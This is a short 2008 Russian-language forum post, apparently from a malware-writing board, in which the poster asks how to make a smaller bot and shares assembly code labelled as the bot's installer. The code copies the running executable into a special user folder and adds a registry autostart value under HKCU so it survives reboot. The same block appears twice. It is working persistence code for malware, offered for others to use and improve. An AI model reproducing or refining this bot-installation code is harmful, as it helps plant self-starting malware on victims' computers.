slesh
08.09.2008, 17:12
Может ктонить пробовал написать меньше? У мну получилось, но баги в том, что почемуто бот кудато уходит постоянно и после перезагрузки компа не возвращается.
код установки бота
proc install
invoke _SHGetSpecialFolderPath,0,ValueName,0015h,0
invoke _lstrcat,ValueName,my_sys_name
mov eax,[fs:18h] ; GetModuleHandle
mov eax,[eax+30h]
mov eax,[eax+8h]
invoke _GetModuleFileName,eax, Value, 256
invoke _CopyFile,Value,ValueName,0
invoke _RegOpenKeyEx,$80000001, n_IKEY, 0, $F003F, key
test eax,eax
jne _i_exit
stdcall _lstrlen,ValueName
invoke _RegSetValueEx,[key], my_sys_name+1, 0, 1, ValueName, eax
invoke _RegCloseKey,[key]
_i_exit:
ret
endp
код установки бота
proc install
invoke _SHGetSpecialFolderPath,0,ValueName,0015h,0
invoke _lstrcat,ValueName,my_sys_name
mov eax,[fs:18h] ; GetModuleHandle
mov eax,[eax+30h]
mov eax,[eax+8h]
invoke _GetModuleFileName,eax, Value, 256
invoke _CopyFile,Value,ValueName,0
invoke _RegOpenKeyEx,$80000001, n_IKEY, 0, $F003F, key
test eax,eax
jne _i_exit
stdcall _lstrlen,ValueName
invoke _RegSetValueEx,[key], my_sys_name+1, 0, 1, ValueName, eax
invoke _RegCloseKey,[key]
_i_exit:
ret
endp